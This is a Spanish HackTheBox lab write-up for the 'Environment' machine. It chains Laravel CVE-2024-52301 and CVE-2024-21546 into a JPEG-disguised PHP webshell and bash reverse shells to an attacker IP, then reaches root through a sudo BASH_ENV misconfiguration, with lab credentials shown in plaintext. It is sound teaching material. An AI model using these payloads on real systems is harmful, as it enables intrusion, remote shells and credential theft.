Habilidades: Laravel Environment String Manipulation (CVE-2024-52301), Laravel filemanager
< 2.9.1 Code Injection (CVE-2024-21546), GPG File Decrypt, Abusing Sudoers Privileges - $BASH_ENV
[Privilege Escalation]
Introducción
Environment es una máquina Linux de dificultad Medium
en HTB en la que debemos explotar dos CVEs en Laravel para ganar acceso inicial a la máquina (CVE-2024-52301 y CVE-2024-21546). Privilegios a nivel de sudoers
con directivas inseguras permitirán ganar acceso completo a Environment.
Reconocimiento
Enviaremos una traza ICMP para comprobar que la máquina víctima se encuentre activa
ping -c 1 10.10.11.67
PING 10.10.11.67 (10.10.11.67) 56(124) bytes of data.
64 bytes from 10.10.11.67: icmp_seq=1 ttl=63 time=239 ms
--- 10.10.11.67 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 238.776/238.776/238.776/0.000 ms
Nmap Scanning
Comenzaremos realizando un escaneo que identifique puertos abiertos en la máquina víctima. Primeramente los haremos por el protocolo TCP
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.67 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-04 12:08 EDT
Nmap scan report for 10.10.11.67
Host is up (0.18s latency).
Not shown: 59330 closed tcp ports (reset), 6203 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 21.48 seconds
--open
: Mostrar únicamente los puertos abiertos-p-
: Hacer un escaneo del total de puertos (65535)--min-rate 5000
: Enviar mínimo 5000 paquetes por segundo-n
: No aplicar resolución DNS, lo que acelera el escaneo-sS
: Modo de escaneo TCP SYN, no concluye la conexión, lo que hace el escaneo más ágil-Pn
: Omitir el descubrimiento de host (ARP)-oG
: Exportar en formatogrepable
-v
: Ver el progreso del escaneo
Haremos un segundo escaneo a los puertos descubiertos con el fin de identificar la versión de los servicios que se ejecutan
nmap -p 22,80 -sVC 10.10.11.67 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-04 12:09 EDT
Nmap scan report for 10.10.11.67
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_ 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.33 seconds
-p
: Especificar puertos-sV
: Identificar la versión del servicio-sC
: Uso de scripts de reconocimiento-oN
: Exportar la salida en formato normal
Vemos que existen los servicios ssh
y http
, el cual ejecuta un servicio web con nginx
. Además, el servidor nos intenta redirigir a environment.htb
, agregaremos este nombre de dominio a nuestro archivo /etc/hosts
(asegúrate agregarlo con permisos administrativos)
echo "10.10.11.67 environment.htb" | sudo tee -a /etc/hosts
10.10.11.67 environment.htb
Web Enumeration
Antes de navegar hasta la web, podemos realizar un escaneo preliminar de las tecnologías web, esto con el fin de identificar algún gestor de contenido
http://environment.htb [200 OK] Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], HttpOnly[laravel_session], IP[10.10.11.67], Laravel, Script, Title[Save the Environment | environment.htb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], nginx[1.22.1]
Vemos algo un tanto interesante, el servidor web muestra el contenido con Laravel
Laravel es un popular framework de PHP de código abierto que simplifica el desarrollo de aplicaciones web al proporcionar una estructura organizada y herramientas predefinidas para tareas comunes como la autenticación, el enrutamiento y la gestión de bases de datos.
Al dirigirnos a environment.htb
desde el navegador, veremos la siguiente web
Fuzzing
Utilizaremos un listado de rutas posibles para realizar solicitudes a posibles endpoints dentro de la web
gobuster dir -u http://environment.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 5
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://environment.htb/
[+] Method: GET
[+] Threads: 5
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 200) [Size: 2391]
/upload (Status: 405) [Size: 244852]
/storage (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/up (Status: 200) [Size: 2125]
/logout (Status: 302) [Size: 358] [--> http://environment.htb/login]
/vendor (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
Vemos algunas rutas, donde /upload
arroja un código de estado 405
El código de estado HTTP 405 significa
"Method Not Allowed"
(Método no permitido), indicando que el servidor conoce el método de solicitud (como GET, POST, etc.), pero lo rechaza porque no es compatible con el recurso o la URL solicitada.
Laravel Error Page
En teoría deberíamos probar otros métodos (POST, OPTIONS, etc.), pero primero navegaremos hasta la web para ver si vemos algo más. Nos encontraremos con una página de error de Laravel
.
Veremos la versión de Laravel, la cual corresponde a la
11.30.0
En el código fuente de la web podemos ver el siguiente código javascript
definido, donde se define la lógica para el endpoint /mailing
document.getElementById('mailingListForm').addEventListener('submit', async function (event) {
event.preventDefault(); // Prevent the default form submission behavior
const email = document.getElementById('email').value;
const csrfToken = document.getElementsByName("_token")[0].value;
const responseMessage = document.getElementById('responseMessage');
try {
const response = await fetch('/mailing', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: "email=" + email + "&_token=" + csrfToken,
});
if (response.ok) {
const data = await response.json();
responseMessage.textContent = data.message; // Display success message
responseMessage.style.color = 'greenyellow';
} else {
const errorData = await response.json();
responseMessage.textContent = errorData.message || 'An error occurred.';
responseMessage.style.color = 'red';
}
} catch (error) {
responseMessage.textContent = 'Failed to send the request.';
responseMessage.style.color = 'red';
}
});
Si intentamos visitar environment.htb/mailing
, veremos la página de error nuevamente, debido a que esta ruta solo parece aceptar el método POST.
Login Page
Si visitamos /login
podemos ver la siguiente web donde podemos iniciar sesión en una plataforma
Una solicitud HTTP normal a /login
se ve de la siguiente manera, donde enviamos datos del usuario además del valor remember
, que hace referencia al checkbox
que dice Remember Me?
POST /login HTTP/1.1
Host: environment.htb
...
...
...
_token=XaljN7xqJVBdRfwQZryzyijD0fCvAjP787kGUtew&email=test%40test.com&password=test123&remember=False
Error Forcing
Si manipulamos la solicitud pasándola por un proxy HTTP (como Burpsuite
) para eliminar algún parámetro o modificarlo, el servidor responde con un código de estado `500 Internal Server Error
El código de error HTTP
500
(o"Internal Server Error"
) es un mensaje genérico de HTTP que indica que el servidor web que aloja la página web ha encontrado un problema inesperado y no puede completar la solicitud.
Al usar el navegador enviando la misma solicitud, el servidor nos muestra la página de error de Laravel
En este caso estamos ocasionando un error intencionalmente para acceder a esta web e intentar revelar más información acerca del funcionamiento del servidor.
Haciendo diversas pruebas, si enviamos la solicitud con el parámetro remember
vacío, lograremos ver un poco más del código fuente
POST /login HTTP/1.1
Host: environment.htb
...
...
...
_token=<TOKEN_HERE>&email=test%40test.com&password=holahola123&remember=
En el código se nos señala la línea 75
, la cual arroja el error, pero si miramos más abajo en la línea 79
, veremos cómo se evalúa una variable de entorno con el valor preprod
, el cual cambia la lógica de la web.
App::environment()
en Laravel es un método que te permite determinar el entorno actual en el que se está ejecutando tu aplicación. Laravel utiliza entornos ( comolocal
,production
,staging
, etc.), definidos en el archivo.env
mediante la variableAPP_ENV
.
Intrusión / Explotación
Laravel Environment String Manipulation (CVE-2024-52301)
CVE-2024-52301 es una vulnerabilidad crítica en Laravel
, la cual consiste en una validación inadecuada de los datos de entrada relacionados con la configuración del entorno de Laravel
, esto afecta a muchas versiones, desde:
- 6.20.45, 7.0.0-7.30.7, 8.0.0-8.83.28, 9.0.0-9.52.17, 10.0.0-10.48.23, 11.0.0-11.31.0
La versión actual se encuentra en el último rango, por ende es potencialmente vulnerable
Understanding Vulnerability
Cuando la directiva register_argc_argv
de PHP se encuentra habilitada, es posible manipular el entorno Laravel
a través de una solicitud HTTP con parámetros en la URL como --env
, alterando el entorno de ejecución.
El siguiente fragmento de código disponible en Github
contiene la función detectEnvironment
, la cual detecta el entorno accediendo a $_SERVER['argv']
, el cual contiene los argumentos de línea de comandos.
public function detectEnvironment (Closure $callback)
{
$args = $_SERVER['argv'] ?? null;
return $this['env'] = (new EnvironmentDetector)->detect($callback, $args);
}
Exploiting
Enviaremos una solicitud HTTP POST a /login
pasando el parámetro --env
con el valor preprod
(el que vimos en el código)
POST /login?--env=preprod HTTP/1.1
Host: environment.htb
...
...
...
_token=<TOKEN_HERE>=test123%40test.com&password=test123&remember=False
Desde Burpsuite
, vemos cómo el servidor procesa la solicitud correctamente y nos intenta redirigir a /management/dashboard
Al replicar esta solicitud en el navegador, el servidor nos llevará a un panel de administración
File Upload Analysis
En la sección profile
podemos asignar una foto de perfil para el usuario. Al intentar cargar directamente un archivo .php
, el servidor lo rechaza
Interceptaremos la solicitud con un proxy HTTP (como Burpsuite
) para poder ver y manipular parámetros. Realizando pruebas cambiando el nombre del parámetro name
, ocasionaremos un error
Una búsqueda rápida en Google usando las comillas (""
) nos puede llevar al siguiente repositorio
Laravel filemanager
< 2.9.1 Code Injection (CVE-2024-21546)
Haciendo una nueva búsqueda por "laravel filemanager cve"
encontraremos una vulnerabilidad crítica que afecta al repositorio UniSharp/laravel-filemanager
en sus versiones anteriores a la 2.9.1
.
La vulnerabilidad se ocasiona cuando el paquete filemanager
procesa el mimetype
y la extensión de un archivo como filtro frente a extensiones de archivos PHP.
En la versión 2.9.0
podemos ver cómo solamente se comprobaba el tipo de archivo mediante getMimeType()
, sin verificar adicionalmente por caracteres especiales
public function mimetypeIsNotExcutable($excutable_mimetypes)
{
$mimetype = $this->file->getMimeType();
if (in_array($mimetype, $excutable_mimetypes)) {
throw new ExcutableFileException();
}
return $this;
}
La cadena de validaciones se construía de la siguiente manera en la función validateUploadedFile()
$validator->mimetypeIsNotExcutable(config('lfm.disallowed_mimetypes', ['text/x-php', 'text/html', 'text/plain']));
$validator->extensionIsNotExcutable(config('lfm.disallowed_extensions', ['php', 'html']));
Es posible eludir estas restricciones utilizando una extensión que termina con un .
, engañando al sistema para que ejecute código PHP malicioso
test.jpg.php.
Proof of Concept
La siguiente prueba de concepto sigue la misma lógica de la imagen donde enviamos código PHP posterior a los Magic Numbers
de una imagen. En mi caso he utilizado una imagen jpeg
, por lo que los magic numbers son ligeramente diferentes.
La siguiente línea de código forma parte de un script en python3
que construí para replicar la misma lógica.
img_payload = (b"\xFF\xD8\xFF\xE0\x0D\x0A" + "<?php system($_GET['cmd']); ?>".encode())
Los “magic numbers” de una imagen (o de cualquier archivo digital) son una secuencia específica de
bytes
que aparece al comienzo del archivo y que sirve para identificar su tipo o formato.
Podemos agregar la imagen y manualmente agregar el código PHP debajo de los primeros bytes
del archivo
Iniciaremos un sniffer
para poder verificar una traza ICMP hacia nuestra IP a modo de prueba
tcpdump -i tun0 icmp -n
Ahora usaremos la webshell
enviando un comando a través del parámetro cmd
curl -s "http://environment.htb/storage/files/test.jpeg.php?cmd=ping%20-c1%2010.10.14.169"
%20
: Codificar un espacio en URL
Recibiremos la traza ICMP en nuestra máquina, esto es lo que esperábamos
17:27:34.544598 IP 10.10.11.67 > 10.10.14.169: ICMP echo request, id 5228, seq 1, length 64
17:27:34.544620 IP 10.10.14.169 > 10.10.11.67: ICMP echo reply, id 5228, seq 1, length 64
Exploiting
Con capacidad de ejecutar comandos remotamente, podemos intentar enviarnos una conexión a nuestra máquina para contar con una consola
En este caso el comando en
base64
ejecuta una consola debash
hacia nuestra IP por el puerto443
echo "bash -c 'bash -i >& /dev/tcp/10.10.14.169/443 0>&1'" | base64 | sed -s 's/+/%2B/g'
- El caracter
+
en solicitudes HTTP se interpreta como un espacio, por lo que debemos especificar su valor en la codificación URL (%2B
)
Antes de enviar el comando, iniciaremos un listener por el puerto que elegimos anteriormente
nc -lvnp 443
listening on [any] 443 ...
La solicitud que debemos enviar debe decodificar esta cadena y ejecutarla con bash
(nota cómo usé codificación URL en el parámetro cmd
)
curl -s "http://environment.htb/storage/files/test.jpeg.php?cmd=echo%20YmFzaCAtYyAnYmFzaCAtaSA%252BJiAvZGV2L3RjcC8xMC4xMC4xNC4xNjkvNDQzIDA%252BJjEnCg%3D%3D%20%7C%20base64%20-d%20%7C%20bash"
Shell as www-data
A los pocos momentos de ejecutar desde nuestro listener recibiremos una consola como el usuario www-data
connect to [10.10.14.169] from (UNKNOWN) [10.10.11.67] 45320
bash: cannot set terminal process group (896): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.2$ whoami
whoami
www-data
TTY Treatment
Haremos un tratamiento de la tty
para operar con una consola completamente interactiva
bash-5.2$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
bash-5.2$ ^Z
[1] + 519707 suspended nc -lvnp 443
root@parrot content # stty raw -echo;fg
[1] + 519707 continued nc -lvnp 443
reset xterm
Continuaremos cambiando el valor de la variable de entorno TERM
para poder limpiar la pantalla con Ctrl+L
, además de ajustar las proporciones de la ventana a las de nuestra máquina
bash-5.2$ export TERM=xterm
bash-5.2$ stty rows 44 columns 184
Puedes ver tus proporciones con el comando
stty size
desde tu máquina
Finding Lateral Movement Path
En este punto nos encontramos dentro de la máquina, pero no contamos con privilegios suficientes para realizar acciones administrativas en el sistema. Comenzaremos una enumeración del sistema para encontrar vías potenciales para escalar privilegios
Users
Enumeraremos a los usuarios registrados en el sistema, los cuales se pueden ver en el archivo /etc/hosts
bash-5.2$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
hish:x:1000:1000:hish,,,:/home/hish:/bin/bash
En este caso filtramos por las coincidencias que terminan con sh
, para filtrar por tipos de shell (bash
, sh
, zsh
, etc.).
Interesting Files
Si inspeccionamos el directorio /home
, al parecer tenemos acceso al directorio del usuario hish
(nota cómo listamos archivos ocultos con la flag -a
)
bash-5.2$ ls -la /home/hish
total 40
drwxr-xr-x 5 hish hish 4096 Sep 8 00:53 .
drwxr-xr-x 3 root root 4096 Jan 12 2025 ..
lrwxrwxrwx 1 root root 9 Apr 7 19:29 .bash_history -> /dev/null
-rw-r--r-- 1 hish hish 220 Jan 6 2025 .bash_logout
-rw-r--r-- 1 hish hish 3526 Jan 12 2025 .bashrc
drwxr-xr-x 4 hish hish 4096 Sep 8 02:27 .gnupg
drwxr-xr-x 3 hish hish 4096 Jan 6 2025 .local
-rw-r--r-- 1 hish hish 807 Jan 6 2025 .profile
drwxr-xr-x 2 hish hish 4096 Jan 12 2025 backup
-rw-r--r-- 1 root hish 33 Sep 8 00:35 user.txt
GPG File Decrypt
Dentro del directorio /home/backup
, encontraremos un archivo .gpg
, el cual está cifrado mediante gpg
Un archivo
.gpg
es un archivo que ha sido cifrado o firmado utilizando GNU Privacy Guard (GPG) o el estándar OpenPGP para proteger su privacidad e integridad.
bash-5.2$ ls -la /home/hish/backup
total 12
drwxr-xr-x 2 hish hish 4096 Jan 12 2025 .
drwxr-xr-x 5 hish hish 4096 Sep 8 00:53 ..
-rw-r--r-- 1 hish hish 430 Sep 8 02:28 keyvault.gpg
bash-5.2$ file /home/hish/backup/keyvault.gpg
backup/keyvault.gpg: PGP RSA encrypted session key - keyid: B755B0ED D6CFCFD3 RSA (Encrypt or Sign) 2048b .
Los archivos necesarios para GnuPG
se encuentran dentro del directorio personal del usuario, en este caso dentro de /home/hish
.
El directorio
~/.gnupg
es la ubicación estándar en sistemas Linux donde GNU Privacy Guard (GPG) almacena sus archivos de configuración y las claves privadas y públicas del usuario para cifrado y firma digital.
bash-5.2$ HOME=/home/hish gpg --list-keys
gpg: WARNING: unsafe ownership on homedir '/home/hish/.gnupg'
gpg: Note: trustdb not writable
/home/hish/.gnupg/pubring.kbx
-----------------------------
pub rsa2048 2025-01-11 [SC]
F45830DFB638E66CD8B752A012F42AE5117FFD8E
uid [ultimate] hish_ <hish@environment.htb>
sub rsa2048 2025-01-11 [E]
Como no somos propietarios del directorio del usuario hish
, cuando intentemos descifrar el archivo keyvault.gpg
, obtendremos un conflicto de permisos
Para descifrar un archivo
.gpg
simplemente podríamos utilizar la flag-d
o--decrypt
, esto si fuéramos el propietario del directorio donde se almacenan los archivos de claves que necesitagpg
.
bash-5.2$ gpg --home /home/hish -d /home/hish/backup/keyvault.gpg
gpg: WARNING: unsafe ownership on homedir '/home/hish'
gpg: failed to create temporary file '/home/hish/.#lk0x00005601c1024170.environment.2694': Permission denied
gpg: keyblock resource '/home/hish/pubring.kbx': Permission denied
gpg: encrypted with RSA key, ID B755B0EDD6CFCFD3
gpg: decryption failed: No secret key
Para solucionar este problema, podemos simplemente copiar el directorio .gnupg
a otro donde tengamos permisos de escritura, por ejemplo /tmp
bash-5.2$ cp -r /home/hish/.gnupg/ /tmp/.gnupg
Ahora podremos usar tanto la flag --home
como la variable de entorno HOME
sobre el comando gpg
para descifrar el archivo keyvault.gpg
bash-5.2$ HOME=/tmp gpg -d /home/hish/backup/keyvault.gpg
gpg: WARNING: unsafe permissions on homedir '/tmp/.gnupg'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
"hish_ <hish@environment.htb>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!
Vemos las credenciales para el usuario hish
, donde la segunda en teoría corresponde a la máquina (ENVIRONMENT.HTB -> marineSPm@ster!!
)
Shell as hish
Nos conectaremos proporcionando las credenciales que encontramos
ssh hish@environment.htb
hish@environment.htb\'s password:
...
...
...
-bash-5.2$ whoami
hish
Ya podremos ver la flag el usuario sin privilegios (aunque con www-data
también podíamos)
-bash-5.2$ cat user.txt
4c4...
Escalada de Privilegios
Abusing Sudoers Privileges - $BASH_ENV
Al listar privilegios a nivel de sudoers
, veremos que podemos ejecutar lo que parece ser un binario llamado systeminfo
-bash-5.2$ sudo -l
[sudo] password for hish:
Matching Defaults entries for hish on environment:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty
User hish may run the following commands on environment:
(ALL) /usr/bin/systeminfo
El contenido del script sería el siguiente, el cual realiza ciertas operatorias con comandos para verificar el estado general del sistema
-bash-5.2$ cat /usr/bin/systeminfo
#!/bin/bash
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###"
dmesg | tail -n 10
echo -e "\n### Checking system-wide open ports ###"
ss -antlp
echo -e "\n### Displaying information about all mounted filesystems ###"
mount | column -t
echo -e "\n### Checking system resource limits ###"
ulimit -a
echo -e "\n### Displaying loaded kernel modules ###"
lsmod | head -n 10
echo -e "\n### Checking disk usage for all filesystems ###"
df -h
Podemos notar que el propietario es root
, por lo que si pudiéramos ejecutar comandos a través del script, ya podríamos ejecutar comandos como el usuario root
-bash-5.2$ ls -l /usr/bin/systeminfo
-rwxr-xr-x 1 root root 452 Jan 12 2025 /usr/bin/systeminfo
-bash-5.2$ file /usr/bin/systeminfo
/usr/bin/systeminfo: Bourne-Again shell script, ASCII text executable
Understanding Misconfiguration
En la salida del comando sudo -l
vemos la directiva env_keep+="ENV BASH_ENV"
, esto permite conservar las variables de entorno cuando ejecutamos un recurso con sudo
.
La opción
env_keep
actúa como una lista blanca owhitelist
para las variables de entorno. Las variables almacenadas enenv_keep
se conservan en el entorno sudo, incluso cuando la opciónenv_reset
(que fuerza un entorno limpio) está habilitada.”
Dentro de esta directiva veremos la variable de entorno BASH_ENV
, la cual le dice qué archivo ejecutar antes de ejecutar un script, podemos encontrar la definición en gnu.org
.
Si esta variable se establece cuando se invoca Bash para ejecutar un script de shell, su valor se expande y se utiliza como nombre de un archivo de inicio que se lee antes de ejecutar el script. Bash no utiliza
PATH
para buscar el nombre de archivo resultante.
Cuando Bash se inicia de forma no interactiva, por ejemplo, para ejecutar un script, busca la variable BASH_ENV
en el entorno
if [ -n "$BASH_ENV" ]; then . "$BASH_ENV"; fi
Sabiendo todo esto, podríamos pasar un script en la variable
BASH_ENV
al momento de ejecutarsysteminfo
, de esta forma la variable se conservará y ejecutará nuestro recurso antes
Exploiting
Para continuar, crearemos un nuevo script de bash
que intente ejecutar un comando, por ejemplo enviar una reverse shell hacia nuestra IP por un puerto. Además debemos asignar permisos de ejecución al recurso
hish@environment:~$ echo 'bash -i >& /dev/tcp/10.10.14.169/443 0>&1' > /tmp/privesc
hish@environment:~$ chmod +x /tmp/privesc
Iniciaremos un listener que se encargue de recibir la conexión por el puerto que seleccionamos
nc -lvnp 443
listening on [any] 443 ...
Ahora ejecutaremos el script systeminfo
pasando la variable de entorno antes de ejecutar el comando
hish@environment:~$ BASH_ENV=/tmp/privesc sudo systeminfo
Desde nuestro listener deberíamos recibir de forma inmediata una consola como el usuario root
connect to [10.10.14.169] from (UNKNOWN) [10.10.11.67] 48294
root@environment:/home/hish# id
id
uid=0(root) gid=0(root) groups=0(root)
root@environment:/home/hish# script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
/tmp/privesc: connect: Connection refused
/tmp/privesc: line 1: /dev/tcp/10.10.14.169/443: Connection refused
root@environment:/home/hish# ^Z
[1] + 282950 suspended nc -lvnp 443
root@parrot content # stty raw -echo;fg
[1] + 282950 continued nc -lvnp 443
reset xterm
Ahora ya podremos ver la flag final ubicada en el directorio del usuario root
root@environment:/home/hish# cd
root@environment:~# cat root.txt
764...
Gracias por leer este artículo, espero te haya sido de ayuda. Te dejo la cita del día:
The most complicated achievements of thought are possible without the assistance of consciousness. — Sigmund Freud